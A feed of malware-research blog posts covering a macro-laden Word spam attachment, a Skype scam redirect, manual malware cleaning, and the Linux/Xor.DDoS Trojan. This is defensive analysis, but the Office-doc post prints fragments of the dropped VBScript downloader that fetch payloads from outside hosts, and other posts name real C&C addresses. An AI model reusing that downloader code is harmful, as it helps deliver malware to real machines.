Quantcast
Channel: Blaze's Security Blog
Viewing all 118 articles
Browse latest View live

New malicious Office docs trick

$
0
0

It all starts with the 1,000,000th usual spam mail in your inbox:

Have you received an order form? No.











The content is as follows:


Dear,

We have received your order form [AY19358KXN]  and we thank you very much. Our sales department informs us that they are able to dispatch your stock by the end of next week following your packing instructions.

As agreed, we have arranged transport. We are sending herewith a copy of our pro-forma invoice.

The consignment will be sent as soon as the bank informs us that the sum is available. We hope you will be satisfied with the fulfilment of this order and that it will be the beginning of a business relationship to our mutual benefit.


Attached is a DOC file with (surprise) a macro attached. However, the method's different than usual:


In the past, there have been some other new tricks as well, for example:
Analyzing an MS Word document not detected by AV software
XML: A New Vector For An Old Trick
Malware authors go a step further to access bank accounts

In regards to any Office files, you can simply open the file in Notepad++ for example and you'll see the .mso appended at the end. The new thing here is that it's a Word MHTML file with macro(s).

Using olevba (by @decalage2), we can extract and automatically decode the .mso object - which contains a bunch of (what appears to be) random gibberish:

Function that "Returns the character associated with the specified character code"






You can use the ASCII character code chart to figure out what this malware is doing exactly, for example the first line Chr$(104) & Chr$(116) & Chr$(116) & Chr$(112) is simply "HTTP".

Another option is to use a Python program made by Xavier Mertens, deobfuscate_chr.py.
You can find a Pastebin here with the extracted + deobfuscated macro.


Short analysis of this .doc file using olevba












Other tools are available as well, for example oledump and emldump from Didier Stevens.

Emldump + passing through oledump extracted a malicious link











 
Now, what happens when you execute this malicious Word file?

Oops, seems macros are disabled :)







If macros are enabled, or you choose to enable the macro in that document, a Pastebin download link was opened and the file was executed. Process flow is:

Word document -> download VBS from Pastebin -> Execute VBS -> Downloads & executes EXE file -> Downloads & executes another EXE file.

Visually, you might get either of these images:

dim JHyygUBjdfg: Set JHyygUBjdfg = createobject(Microsoft.XMLHTTP )
dim jhvHVKfdg: Set jhvHVKfdg = createobject(Adodb.Stream )
JHyygUBjdfg.Open GET , http://savepic.org/7260406.jpg
















dim sdfsdfsdf: Set sdfsdfsdf = createobject(Microsoft.XMLHTTP )
dim dsfsdfsdfg: Set dsfsdfsdfg = createobject(Adodb.Stream )
sdfsdfsdf.Open GET , http://savepic.net/6856149.jpg












Dropper, payload, related files:

AY19358KXN.doc(original file)
SHA1: b2c793b1cf2cf11954492fd52e22a3b8a96dac15
VirusTotal

Extracted macro (I named it AY.vb)
SHA1: 79b0d7a7fe917583bc4f73ce1dbffc5497b6974d
VirusTotal

JGuigbjbff3f.vbs (dropped VBscript file)
SHA1: c8a914fdc18d43aabbf84732b97676bd17dc0f54
VirusTotal
Deobfuscated VBscript

o8237423.exe(dropper)
SHA1: 7edc7afb424e6f8fc5fb5bae3681195800ca8330
VirusTotal

DInput8.dll(payload)
SHA1: 8bfe59646bdf6591fa8213b30720553d78357a99
VirusTotal





Prevention



Conclusion

It seems obvious that malware authors are keeping up-to-date with the latest news and as such adapting their campaigns as well. Better be safe than sorry and don't trust anything sent via email. ;-)

If you're in an organisation, you might want to consider blocking the execution of all macros (or only the ones that are digitally signed) by using GPO. You can find those templates here:

Note: starting from Office 2010, macros are disabled by default.


Resources



CARO 2015 – wrap up

$
0
0


In May, I’ve visited the CARO workshop for the first time, representing Panda Security (not as a speaker, simply as an attendee).

What is CARO exactly? From their website:
CARO is an informal group of individuals who have been working together since around 1990 across corporate and academic borders to study the phenomenon of computer malware.

Besides meeting other people in this field, there were also a number of interesting presentations and case studies on malware as well. You can view the full program here: http://2015.caro.org/programme

In regards to the presentations, not everything is shared as malware authors are keeping themselves up-to-date as well about the latest anti-anti-evasion techniques, botnet takedown operations and whatnot. That being said, it was great to be there and seeing how great cooperation can be!

Presentations that are shared however can be found here:
http://2015.caro.org/presentations
 
Until next time!

Scams spreading through Skype

$
0
0


I got a message today on Skype to check out an eBay page with my name on. Sounds great!

Hey $name! Look http://www.ebay.com/new/$username





Another example is:






However, the link was not exactly pointing to eBay:

Not eBay, but what appears to be google.dj







Turns out the actual link behind the eBay one is pointing to:





What follows after is for tracking and to disable the Redirect notice message from Google. For those who are curious, google.dj is a legitimate website of Google for the African country Djibouti.

The what seems to be random numbers is actually just hex for:





When you click the link, you will simply do a Google search for that webpage and visit it. This does not mean google.dj is compromised in any way. As an example, you can use the same link but instead use google.com instead of google.dj.

On the lengthy site mentioned above, you'll get a Javascript which you can view on this Pastebin link:
Scams spreading through Skype
(In short, it does a simple math.random method to serve you a slightly different website each time.)



Fiddler capture






Eventually, you'll end up on a typical weight loss scam website:

Obviously not the real Women's Health website









Trying to leave the website










Long story short.....


Prevention

Install the WOT extension into your browser. (Compatible with most modern browsers)
WOT is a community-based tool and is therefore very useful for these kinds of scams, whereas other users can warn you about the validity.

Use a strong password for Skype and anything else for that matter.

Don't click on "funny" links. A trick is to "hover" on the link to reveal the actual website behind it.



Disinfection

Close your browser.

Change your Skype password immediately. How do I change my password?

If the message came from an unknown contact, How do I report abuse by someone in Skype?

If the message came from a friend, be sure to notify him/her and to follow the steps in this post.

To be sure, you can always run a scan with your favorite antivirus and/or antimalware product. (however, I have not seen any malware in this particular campaign)


Conclusion

In the past, malware has spread via Skype, but this is the first time I'm seeing a scam presented in this way. I have contacted Skype to ask how they were able to hide the actual website behind the eBay link, as I do not know - if you do, be sure to let me know in the comments.

Also, follow the steps above to stay safe.

Basic Malware Cleaning

$
0
0


Last year in September I wrote an article for Hakin9 on how to detect, identify and of course disinfect a machine from malware.

I've decided to publish it on my blog as well, you can also download it from the following links in PDF format:
http://www.mediafire.com/?gz7qic8h7xcgyst
http://www.mijnbestand.nl/Bestand-KGJYA43TA3BP.pdf (mirror)


Here's the article:




Basic Malware Cleaning

Malware is common nowadays. Each day, machines get infected with viruses, spyware, Trojans, keyloggers, rogueware, ransomware, rootkits, … The list continues with more advanced malware like Conficker, Duqu, Stuxnet, Flame, …

The malware scenario on itself has also drastically changed. Where in the past, malware was created for showing off your skills or gaining your 15 minutes of fame (remember LoveLetter?), it is now almost solely used for the purpose of making money.

If you are reading this article, you have already helped someone getting rid of malware infestations, or you at least have an interest in the basics on how to clean malware from an infected machine.


What you will learn...

  • Identifying malicious processes, terminating these processes and how to properly prevent them from running
  • Identifying malicious startup entries and system modifications
  • Identifying related malicious files, meaning droppers and payload
  • Identifying the malware source and effectively tackling it


What you should know...

  • Basic computer knowledge and common sense
  • Use a proper environment for testing purposes



About the author

The author has been working as a technical support engineer in the antivirus industry for several years and is also involved in performing malware research and malware analysis, intended primarily for improving his own skills and raising awareness amongst every computer user, whether it would be home or business users. You can follow him on Twitter: @bartblaze




Introduction

Before we begin, I’d like to make clear that if you want to test your skills after reading this article or want to test malware in general, you should set up a proper testing environment. Make sure you are using a Virtual Machine if testing on your own machine, or create a machine for the sole use of testing malware and antimalware tools. In either case, it’s a good idea to use a separate network or use a DMZ should you have one. Personally I recommend having the machine connected to the internet, so the malware can do its evil work to its maximum potential and you will be able to carefully study and dissect its workings completely. I’ve made a post on my blog as well on how to build your own malware analysis lab: http://bartblaze.blogspot.com/2013/06/basics-for-malware-analysis-lab.html


More tips can be found in the section On The Web in the last paragraphs of this article.



In the next paragraphs, we will see three possible malware scenarios:

  •  Rogueware
  •  Trojan horse
  •  Rootkit



For each malware scenario or case study, a sample was executed and the machine was consequently rebooted to view the malware’s effects. Each case study will be outlined with the necessary tools and steps to take on how to completely eradicate the above infection types. Note that after performing manual clean-up, it is advised to perform a scan with an (preferably) online antimalware or antivirus product. Most antivirus companies offer a free online scan and automatic removal.

We will be making use of the following tools:

  • Autoruns
  • GMER
  • Process Explorer
  • RootkitRevealer
  • Rootkit Unhooker




First case study - Rogueware

Rogueware is probably one of the most known types of malware nowadays. The reason is simple: when one gets infected with rogueware, annoying pop-ups will appear all over the screen, urging to buy their precious Antivirus, which has found enough infections on your machine to completely toast it – if they were real. Rogueware is simply blatant enough to appear fully on your screen, whereas most other types of malware will (try to) work silently in the background.


In this first case study we will only make use of the tools Process Explorer and Autoruns, both created by Sysinternals.

After running our first sample and rebooting the machine, we receive several messages that the machine is infected and we should take immediate action. A screenshot of this specific rogueware:







Figure 1. Rogueware called ‘Live Security Platinum’ running on our machine




Let’s start Process Explorer and see what’s running!



 Figure 2. Process responsible for Live Security Platinum


What can you make of this screenshot? There are indicators this is indeed malware:

  • Random filename
  • No file description
  • No company name

Explaining why there is a random filename:
trying to evade specific antimalware tools which focus only on names the malware uses – for example, I remember a specific rogueware family from back in 2009 that always placed the same DLL in the System32 folder: win32extension.dll


Tip: If you’re in doubt whether a process is malicious, simply right-click it in Process Explorer and select Search Online...
Most of the times, Google will have a history of this filename. If the search is turning up zero results, it’s an extra confirmation that it concerns a malicious process.


Explaining why there is no file description or company name is simple: in earlier days – the days of Windows XP to be exact – the basic Task Manager did not display any file description or company name. So basically, there was no use in including it since it wasn’t displayed anyway. In Windows Vista, Windows 7 and soon Windows 8 Task Manager is improved.


This malware hides in %appdata%, which is a system variable for the Application Data folder of the currently logged on user. What else can we deduct from this screenshot? The rogueware uses a Microsoft icon, thus trying to trick the user to indicate it’s nothing malicious. An effective trick indeed, but considering the previous factors, we can be sure this is a malicious process which needs to be terminated.


A useful setting in Process Explorer is through Options > Verify Image Signatures. With this option, you’ll be able to quickly determine if a file claiming to be from Microsoft is indeed so or not. Note that these may be forged. 


There are three color codes important for us:

  • Green– new process
  • Red – killed process
  • Purple– process with images that are packed. Intention: hiding strings, evading antivirus detections


By right-clicking the process and choosing Properties, we can gather more intelligence about the file. A short overview of the tabs useful for our malware identification:

  • Image– image file properties
  • Strings– strings loaded into the image or memory 



Figure 3. Image Tab details



Thanks to the Image tab, we are able to view the file location, any command line arguments there may be, but also if the file has a valid Image Signature and the current directory from where the file is executed.


Moving over to the Stringstab, where we may find interesting information about the file and its behavior. An example:


Figure 4. Payform.html, which is the rogueware’s own webpage to order its ‘product’



Let’s close this and start with the cleaning of this type of malware.



First step is killing the rogueware by right-clicking the process in Process Explorer and choosing Kill Process. The rogueware will disappear like snow in the sun. Note that some rogueware is protecting or guarding each other’s process, so it’s possible you will have to Suspend a process first before killing its guardian. Afterwards you can kill the first process and the rogueware will not re-appear again.





Second step is of course disabling the rogueware from starting up with Windows. In order to do so, we will be using Autoruns:



Figure 5. Autoruns Logon tab view



Navigate to the Logon tab and choose to delete it. Click Yes to confirm. Close Autoruns. If you are unsure about a Logon entry, simply untick the checkbox first instead of deleting it.


A trick that is often utilized by malware authors is to hijack several antivirus processes to, for example, svchost.exe or to their own malicious program. They do this to prevent antivirus software from running and making sure their malicious program will be executed. Sometimes, Task Manager, Regedit, the Command Prompt(CMD) and other tools are hijacked as well. I’m sure you have encountered before that you were unable to run any of these built-in Windows features. The reason is Image Hijacks.


We will now be using the same trick against them, by creating our own Image Hijack or, as Microsoft calls it: Image File Execution Options. To do so, we will use Regedit:



Figure 6. Image Hijacks can be added under: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options


In order to add an Image Hijack, right-click on the Image File Execution Options key and select to create a new Key. This key must be the exact same name as the malware name. In our first case study, this means: 529C50D8212C2CDD6A42F365D151FC4E.exe


We subsequently create a new StringValue under this key with Value Name:Debuggerand Value Data: svchost.exe. Now, even when the rogueware is still on the system, it cannot start since it will be forced to start svchost instead.


You can also do this faster by using the following small piece of code and running it by clicking on Start> Run and pasting it in the message box. Replace XXX.exe by the name of the malware:


reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\XXX.exe" /v Debugger /d "svchost.exe" /f



In our first case study, for the ‘Live Security Platinum’rogueware, this would be:


reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\529C50D8212C2CDD6A42F365D151FC4E.exe" /v Debugger /d "svchost.exe" /f




Tip: in Autoruns there’s a useful tab called Image Hijacks which will display any present modifications to this key:



Figure 7. Check if there are any Image Hijacks present


Have you completed all these steps, reboot the machine. If nothing seems to pop up or alarm you, you can visit the folder where the rogueware resides and delete the malicious file. Note that you might have to enable Hidden files, folders or drives, and to unhide Protected Operating System files. You can do this via Windows Explorer:
  • For Windows XP: Tools > Folder Options > View
  • For Windows Vista and Windows 7: Organize > Folder and Search Options > View





This concludes our first case study. Be sure to remember it, as we will be using the same tools for our next malware family:
a Trojan horse.







Second case study – Trojan horse

Trojan horses or Trojans are typically data stealers and can copy themselves on your machine. They may also turn your machine into a zombie, which is basically a computer part of a botnet.


Trojans often disguise themselves as legitimate programs; for example an upgrade of Adobe Flash Player, a crack or key generator for a game or Microsoft Office and many more.


After executing our sample and rebooting the machine, we don’t see anything malicious in Process Explorer. Actually, we are seeing something strange. A Firefox instance was running even though we didn’t start Firefox. When starting Firefox manually, it gets loaded under Explorer. In this case, it was not loaded under Explorer, but started as a separate process:



Figure 8. Malicious Firefox process loaded. As you can see, svchosts.exe is injected into Firefox


The Trojan has loaded a malicious version of a Firefox process, to effectively hide itself from users. After all, who would suspect a Firefox process to be malicious? You can search for Handles or DLLs via the menu Find. Svchosts.exe is the Trojan on itself, which we will see below. Note: for this reason, the Trojan has rootkit capabilities, which we will discuss in the next case study.


If we verify any system modifications with Autoruns, there are two new entries added in the Logontab:



Figure 9. Two new entries in the Logon tab of Autoruns. We will now discuss some characteristics





In Figure 9 there are two entries highlighted: one under HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit, while the other one can be found under HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.

The Trojan has attached itself to the Userinit value, which will ensure that it starts right after a user logs in to Windows. It has also placed an entry in the Run key, as an extra check to start up with Windows.


If we take a look at the Trojan’s file information:



Figure 10. Trojan’s file information


There are a few things that should get your alarm bells ringing:

  • The file is only 188 kB
    --> files with a small size are more likely to contain malware
  • The filename is svchosts.exe and resides in C:\Windows--> malware imitating legit Microsoftfiles is not uncommon
    --> the legit file is named svchost.exeand resides in C:\Windows\system32
    --> most, but not all, malware hides in C:\Windows or C:\Windows\system32
  • The file description reads “deine mutter-->  which is German for “your mother” and is considered an insult in some countries
  • The icon of a microphone is used into tricking you this might be legit software--> voice or audio recording software for example



Let’s move on and start disinfecting the machine step by step. First step is to Kill the malicious Firefox process with Process Explorer.




Next, open up Regedit and navigate to the following key: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon



Figure 11. Hijacked Userinit value




Restore the default Userinit value by double-clicking on the value and entering as Value data (this is the default Value data for Userinit):

c:\windows\system32\userinit.exe


Open Autoruns again or should you not have closed it, refresh. You will see the first entry has disappeared. Now simply delete the other value.



Tip: did you know you can easily access the Registry via Autoruns? Right-click an entry, select Jump To…and you will be taken there instantly. Very useful in cases where the Userinit, Winlogon or Shell Valuekeys are hijacked or altered.



At this point, reboot the machine and verify with Process Explorerthat there aren’t any malicious processes still present, or a malicious Firefox process. Verify with Autoruns that all startup entries are removed. Navigate to the folder where the malware hides and delete the responsible file(s).



This concludes our second case study. In the next case study we will see how to handle a rootkit infection.



Third case study - Rootkit

Rootkits are a type of malware apart. Rootkits are software which can hide processes, files & folders, drivers, registry keys and much more from the Operating System, antivirus software and many security tools. Rootkits can also be used to gain and retain administrator privileges on a machine.

Typically, you can divide rootkits into two categories or types:

  • User mode or user land rootkits
  • Kernel mode or kernel land rootkits





Figure 12. Figure of protection rings. Rings are mechanisms to protect data and functionality from
faults and malicious behavior. (Image source: Wikipedia)




User mode rootkits: operate in Ring 3, together with user applications

Kernel mode rootkits: operate in Ring 0, with the highest Operating System privileges



Rootkits can perform many tasks, besides hiding themselves, they can also disable antivirus components, perform DLL injection (inject and run code in the address space of another process), hide other malware, download additional malware, provide an attacker access to the machine, turn the machine into a zombie, …. You get the point.


In this case study, we will see the infamous TDL3 rootkit (which is a ring 0 rootkit), more specifically the “4DW4R3” rootkit. It was dubbed the 4DW4R3 rootkit because of the strings found in the associated DLLs. (associated files for this malware also start with 4DW4R3 and attached 10 random letters after it, for example: 4DW4R3vDqMXSvfxR.dll)



After executing the sample, it gets deleted immediately. Let’s reboot the machine at this point and document our findings.


Firing up Process Explorer and Autoruns still works normally, but there doesn’t seem to be anything suspicious. In this case, we will need to run some more specialized tools in order to uncover the rootkit’s modifications to the system.


When encountering a rootkit infection, it is recommended to run at least three different anti-rootkit tools. Why?

  • Anti-rootkits can produce false positives
  • The rootkit may have used hooking to prevent certain anti-rootkit tools from running or
    even displaying incorrect results





The first anti-rootkit tool we will be using is RootkitRevealer, another Sysinternals tool:



Figure 13. RootkitRevealer found four files hidden from the Windows API. This means you won’t be able to view them, not even
when having the option on to view hidden files and folders, or protected operating system files


Note that we will only focus on the highlighted changes for now. The others are also from rootkit modifications, where it is denying access on certain registry keys for RootkitRevealer.


Now that we have uncovered associated files from the rootkit, we can use Process Explorer again to verify if there has been any DLL injection. In our second case study, we have already briefly seen this occurrence.




Figure 14. Through the menu Find > Find handle or DLL… We discover that 4DW4R3vDqMXSvfxR.dll is injected into svchost.exe








Besides injecting into svchost.exe, the rootkit will also (attempt to) inject itself in newly created processes, for example firefox.exe

Result is you will be redirected to a shady search engine whenever you are trying to search something on Google, Yahoo or other search engines. This can be verified by opening the 4DW4R3vDqMXSvfxR.dllfile in Process Explorer and selecting the Strings tab
(be sure to select Memory):



Figure 15. Search results on Bing, Google, Yahoo, AOL,… Will all be redirected to another (malicious) search engine







When using Rootkit Unhooker, it notifies us of Possible Rootkit Activity. When reading the log, we see the following lines:


==============================================

Stealth



Unknown page with executable code

Address: 0xF889C8BB

Size: 1861



This indicates there’s something stealth, which may be malicious, at address space F889C8BB. The code at this address space is probably used to prevent the scanning of registry keys by certain anti-rootkit tools, as was the case with RootkitRevealer.




When using GMER, it starts a scan of the system right away and will state whether or not there’s an infection:



Figure 16. The 4DW4R3 rootkit has also been discovered by GMER



Let’s review what GMER has found as system modifications:

 Code     F889BEB5      ZwCallbackReturn

 Code     F889B979     ZwEnumerateKey

 Code     F889B96F     ZwSaveKey

 Code     F889B974     ZwSaveKeyEx

 Code     F889BBD2     IofCompleteRequest



ZwCallbackReturn: ensure communication between user mode malware components and the kernel mode rootkit

ZwEnumerateKey: hide registry keys, prevent anti-rootkits from scanning the registry

ZwSaveKey & ZwSaveKeyEx: prevent some anti-rootkits from scanning the registry or detecting mischief

IofCompleteRequest: hide and protect rootkit files


Let’s review what GMER has found as service modifications:

·     Service  C:\WINDOWS\system32\drivers\4DW4R3nKkNtexUqD.sys (*** hidden *** )  [SYSTEM] 4DW4R3      <-- rootkit="">-->


It is obvious by now the machine is infected with a rootkit. We will be using GMER to fully disinfect the machine. Right-click the service and choose Delete Service. If you receive an error, choose Disable Service. Reboot the machine.


Now that the service is deleted (or disabled) we are able to view the files the rootkit has placed. Simply delete them and reboot:



 
 Figure 17. The rootkit’s associated DLLs and drivers


This concludes our third case study. In the next paragraphs you’ll be able to find additional information on how to handle a malware incident.





Signals of infection

In most cases, it’s pretty obvious when facing an infection like rogueware or ransomware: pop-ups and annoying messages all over the screen.There are other symptoms which may not always seem originating from malware:
  • Failing of Windows Firewall, Windows Security Center warnings. Microsoft Update malfunctioning.
  • Not being able to execute antimalware tools. Not being able to visit websites from antivirus vendors.
  • Redirections taking place in your browser to shady search engines.
  • Severe slowdown of the machine. More bandwidth usage than usual.
  • Suddenly finding software on your machine you never installed or never gave permission to.
    These are called Potentially Unwanted Programs (PUP) or Adware.
  • Unexpected Blue Screens (BSOD). This might be due to a badly written rootkit for example.
  • Unexpected errors or malfunctioning of antivirus and antimalware programs.







General tips and tricks

In this section I’ll add some extra tips and tricks for problems you might encounter during the disinfection process:


  • If a tool is refusing to run, try renaming it to explorer.exeor svchost.exe. Some rogueware families will block all applications, but will allow system processes to run.

  •  If a tool is refusing to run, and you already tried above trick, try renaming to SomeName.com. It’s possible all EXEfiles are disallowed from running. There’s a tool called exeHelper which will restore the default values for PE (executable) files.

  • Another useful tip is trying to boot the machine in Safe Mode. Some malware will only place a value in HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, which is ignored when booting in Safe Mode.
    Note that malware X won’t do much in Safe Mode, but can actually still be downloading additional malware if you decide to boot in Safe Mode with Networking.

  • Rootkits can interrupt the execution of several anti-malware tools, where even above tricks won’t be able to help. In that case, you should try fixing the permissions of those tools. A very useful tool for this is Inherit. Just drag and drop the tool or program you want to execute on Inherit. Wait for the message box “OK” to pop up and you should be able to run it.

  • Also in case of a rootkit or any other malware infection, it is advisable to change your most important passwords after fully cleaning the machine. Remember that when having encountered a rootkit infection and cleaning the machine, it is possible there are still infection leftovers. In case of doubt, reinstall Windows completely. In case of a bootkit, which infects the MBR, you need to boot the machine from the Windows installation CD, choose the Recovery Console, and type the command fixmbr in the command prompt. Press Enter and the MBR or Master Boot Recordwill rebuild.

  • In some cases, the machine is infected so badly that it’s almost unworkable to run any tool. It’s also possible you cannot boot into Windows anymore. In such cases, you can use a boot CD or safe CD from an antivirus vendor. An alternative is the Sardu Multiboot CD or DVD and USB creator, which combines several antivirus rescue CDs. Or you can completely reinstall the machine. Tip: take regular back-ups of important files and folders!






Prevention tips and tricks

I’m guessing most of you already know how to protect yourself against mischief, though I’ll repeat some general tips once again. Repetition is key. Some do’s and don’ts:


Do install an antivirus program – yes, you never use antivirus and you’ve never been infected before. Still, using antivirus reduces the chance even more.

Do uninstall applications you don’t need – examples are Java and Adobe. If you do need them, update them frequently.

Do uninstall browser extensions you don’t need. If you do need them, check for updates frequently.

Do your updates. This includes Windows updates, antivirus updates, browser updates and any other software you may be using.

Do use layered protection if possible – Firewall at hardware level (router), HIPS, antivirus, antimalware …





Don't open email attachments from unknown senders - ever.

Don’t click on everything on the internet. Meaning: use common sense when browsing the web.

Don’t trust everything on the internet. If it looks too good to be true, it probably is!

Don’t fill in your personal information or email address on random websites.

Don't use the same password for each and every website! Implement proper password security.

Don’t panic if you suspect you’ve been infected. Read the tips below on what to do if you are.





Help! I’m infected!

What could be the best procedure if you suspect to be infected? Suggested model:

·          Stay calm, don’t panic. Disconnect yourself from the network.

·          Identify and kill malicious processes.

·          Identify and delete malicious autorun entries.

·          Reboot and repeat the previous steps.

·          Delete associated files and folders.

·          Run a full scan with your installed antivirus product.

·          If disinfection is applied successfully, connect to the network again. If possible, connect to a separate network first to verify everything is indeed back to normal or not. Perform an online scan with another antivirus product than the one you have installed.




If you’re in a corporate network, what could be the best procedure if you suspect to be infected? Suggested model:

·          Stay calm, don’t panic. Disconnect yourself from the network & contact your network administrator.

·          Write down useful information:

o    What were you doing at the time? Did you notice anything special? What was the time and date anyway?

o    Why do you believe your machine is infected? Which steps did you take already, if any? Did your antivirus prompt?

o    Inform your co-workers you’re going for a coffee break.






Summary

This concludes our three case studies – rogueware, Trojan Horse and rootkit. I do hope that you have enjoyed reading the article and going carefully through each step.

We have seen three different case studies as described above, but it is totally not uncommon to have all three types of malware on the same machine. For example, certain families of rogueware have been seen to dropthe infamous TDL4 rootkit variant. Goal is to ensure the persistence of the payload on the machine. Therefore, it is advised to always use an anti-rootkit as well.

Remember that some malware is more advanced than others, and it might take you some time to fully disinfect a machine. Sometimes it’s easier, quicker and cleaner to perform a reinstallation of the operating system. If you’re ever stuck, there are many forums out there specifically for helping you in cleaning malware off an infected computer.

As quickly as malware is evolving, so are the people who are constantly battling them – whether this would be antivirus companies, independent malware or security research folks, agencies and governments… Join our cause in making this world a malware-free environment and educate everyone around you, each day.

Should you have any further questions, comments or remarks, I am always available for feedback. You can contact me via Twitter:
@bartblaze.










Glossary

Address space – in this context, memory address of a process.
Botnet – a group of computers infected with malware and controlled by the so called bot herder. Botnets can be used to launch DDoS attacks, send spam …
Dropper – a dropper is a program that installs or downloads additional malware on a system.
LoveLetter – also known as ILOVEYOU worm – spread mostly via email, infected millions of machines.
Master Boot Record – first 512 bytes at the first sector of a hard drive.
Payload – modifications or damage done by malware.
Zombie – computer infected with malware and possibly compromised by a hacker. Zombies are typically part of a botnet.



Notes on Linux/Xor.DDoS

$
0
0

In this post we'll be focusing on a certain kind of malware: Linux/Xor.DDoS (also known as DDoS.XOR or Xorddos). As usual, we'll break the post down in several points:

Background
Diagnosis
Analysis
Disinfection
Prevention
Conclusion

The variant discussed in this blog post is an older variant, so certain infection mechanisms may have changed, as well as C&C's. The point of this post is to familiarize yourself with ELF malware in a better way - how to diagnose, analyse, remove and finally prevent malware from infecting your Linux machines. A lot of malware is going around and it's not (all) exclusively for Windows machines.



Background
You may have heard about Linux/Xor.DDoS already, a Linux Trojan with rootkit capabilities (belonging to the category of 'ELF malware'). What exactly is an ELF file? According to Wikipedia:

In computing, the Executable and Linkable Format (ELF, formerly called Extensible Linking Format) is a common standard file format for executables, object code, shared libraries, and core dumps.
Source
In other words: ELF is to Linux as PE (.exe, .com, .scr, ...) is to Windows and Mach-O to OS X.

There's a nice mini poster available by Corkami as well:

(Source)















More information about the ELF format can also be found at the Resources section.

If you haven't heard about Linux/Xor.DDoS itself already, be sure to read the initial post by MalwareMustDie uncovering this malware:
Fuzzy reversing a new China ELF "Linux/XOR.DDoS"

In short: Xor.DDoS is a multi-platform, polymorphic malware for Linux OS and its ultimate goal is to DDoS other machines. The name Xor.DDoS stems from the heavy usage of XOR encryption in both malware and network communication to the C&Cs (command and control servers).

There have been other write-ups about this malware as well, which will be mentioned throughout this article or referenced in the Resources section.



Diagnosis
How do you know you're infected with Xor.DDoS?

First and foremost (and obviously), you'll be conducting DDoS attacks from your machine(s) to targets chosen by the malware authors.

Sending of large SYN packets (Source)








You may use netstat to print any current network/internet connections. Use tcpdump to get a more detailed analysis of which packets you are sending out.


Secondly, another indication is seeing processes running with random names and sudden new executable files created in /etc/init.d/ or /usr/bin/ (see example below). New entries will be/are added to your crontab as well (/etc/crontab).

Malware running and its related files






















You may use any command based on top or on ps to check for running malicious processes. We will see more in the Disinfection part of this blog post.

Thirdly, if you are running the standard OpenSSH server you may see an unauthorised but successful login and immediate logout afterwards.
(Source)








These symptoms should be very clear, even more so if you've already implemented several measures to protect yourself from potential intruders. If not, then it'll be harder to track the infection origin as well. (but more often than not the SSH credentials of the root users are brute forced.)

To ensure your machines will not get pwned, be sure to read the Prevention part of this blog post.



Analysis
First off, we have to identify how the malware entered the system. Usually, a weak root password is used (like admin or 123456, see here for a list of tried passwords. Note: huge .txt file!) or the attackers are brute forcing their way in. (brute forcing the SSH credentials of the root user) Another, but less common possibility, is exploiting a vulnerable service that you have running (Apache for example).

This figure is an excellent visual representation on how it all happens:

(Source)

























This variant copies itself over to /lib/libgcc.so, then creates a copy in /etc/init.d and a symbolic link to /usr/bin. Afterwards a new cron script is created and added to the crontab.

We will now take a look at one of the samples created - named bmtsfnlgxu.
(SHA1: b34b6f0ec42a0153c043b0665ec47bf6e5aac894)

Easiest way on Linux is to just use the "file" command:




We can see it's an ELF 32-bit executable for i386 - and it's not stripped.

Why is that last part important? strip allows you to remove symbols and sections from choosen files, which in turn makes it harder to reverse engineer (disassemble) as well. In this case, the file doesn't seem to be stripped, great! For example, we can see the source files and get an idea of what this malware does:
(this will also be shown later on in the video below, using IDA)
















Moving on, we will start by using readelf for some further investigation of the file. We know, thanks to the file command, it's an ELF 32-bit executable for i386. Using readelf and parameter -h we will be able to gather more information:
















This gives us more information already, for example; the magic (7F 45 4C 46 for ELF files, 4D 5A for MZ files)  2's complement, little endian,  the exact type of the file (an executable; other types for ELF files may be a relocatable file, a shared object, a core file or processor specific) but most importantly here being the Entry point address, or the start of the program.

In regards to readelf, using parameter -a we can dump a ton of information, you can find the output of this command on our malware on Pastebin: Xor.DDoS - "readelf -a" output

Note that VirusTotal has added (since November 2014) detailed ELF information in reports as well, which is more or less similar to readelf's output.

To disassemble the file, we can use objdump which allows us to disassemble only those sections which are expected to contain instructions (-d parameter) or to disassemble the contents of all sections (-D parameter).


However, to dive a bit deeper into the malware code, we will be using IDA, a multi-processor disassembler and debugger and Radare, a well-known (portable) reversing framework. Note that it will still be a quick glance, as MalwareMustDie has already reported extensively  about it as well [1][2][3][4]. Note also that it's always a good idea to analyse malware in a virtual environment (VM).

We will be using both tools on Windows, but you can just as easily run them on Linux or Mac.

I've made an instruction video on how to use IDA Pro Free to take a quick peek into the file discussed:


Download IDA Pro Free for Windows from here. If you're interested in working more with IDA, there's a handy list of IDA plugins available here.



... And just the same for Radare, where we will discover a bit more - namely the C&C of the malware:

Download radare2 for Windows from here. More documentation about Radare can be found here. There's also a handy cheat sheet available here.

If you like GUIs, then I have another useful utility: ELFparser. It will perform a scoring based on several factors, such as shell commands, HTTP functionality and process manipulation. For example, for our file:











You can see it's scored pretty highly. I wonder what it has to say about the hardcoded IP addresses..:

You can also see 8.8.8.8, Google's DNS server
and likely used to resolve the C&C domains




















Great, it was able to extract our C&C servers:
103.25.9.228 - VirusTotal - IPvoid - DomainTools (whois)
103.25.9.229 - VirusTotal - IPvoid - DomainTools (whois)

Using ELFparser you can also look at the ELF header, sections, but also all of its capabilities like Information Gathering and Network Functions for example. It's a handy second-opinion tool.

Finally, one last tool which should not be missed when analysing ELF files: a sandbox. We will be using detux, a multiplatform Linux sandbox.

Connections to wangzongfacai.com and dsaj2a1.org














You have Network Analysis (IPs connected and DNS queries) and Static Analysis (Elf Info and Strings). In our example we have connections to wangzongfacai.com, not an unfamiliar domain. View the complete report made by Detux on our file here.

It's worth noting that several months ago, I already sent a file to Detux (and VirusTotal) which yielded similar results:

3000uc.com, another familiar player - and again dsaj2aX










Detux report of that file here. When I sent the latter file to VirusTotal several months ago, it only had 12 detections, after re-submitting it had 19 detections. That's better but we're still not there.













You may find an overview of all gathered files as well as most common/recurring domains and their IPs they connect to/download from here, available via AlienVault's OTX.

That's it for our Analysis section, let's move on to Disinfection.



Disinfection
Most importantly, you'd of course like to remove/disinfect this malware completely. Some pointers:

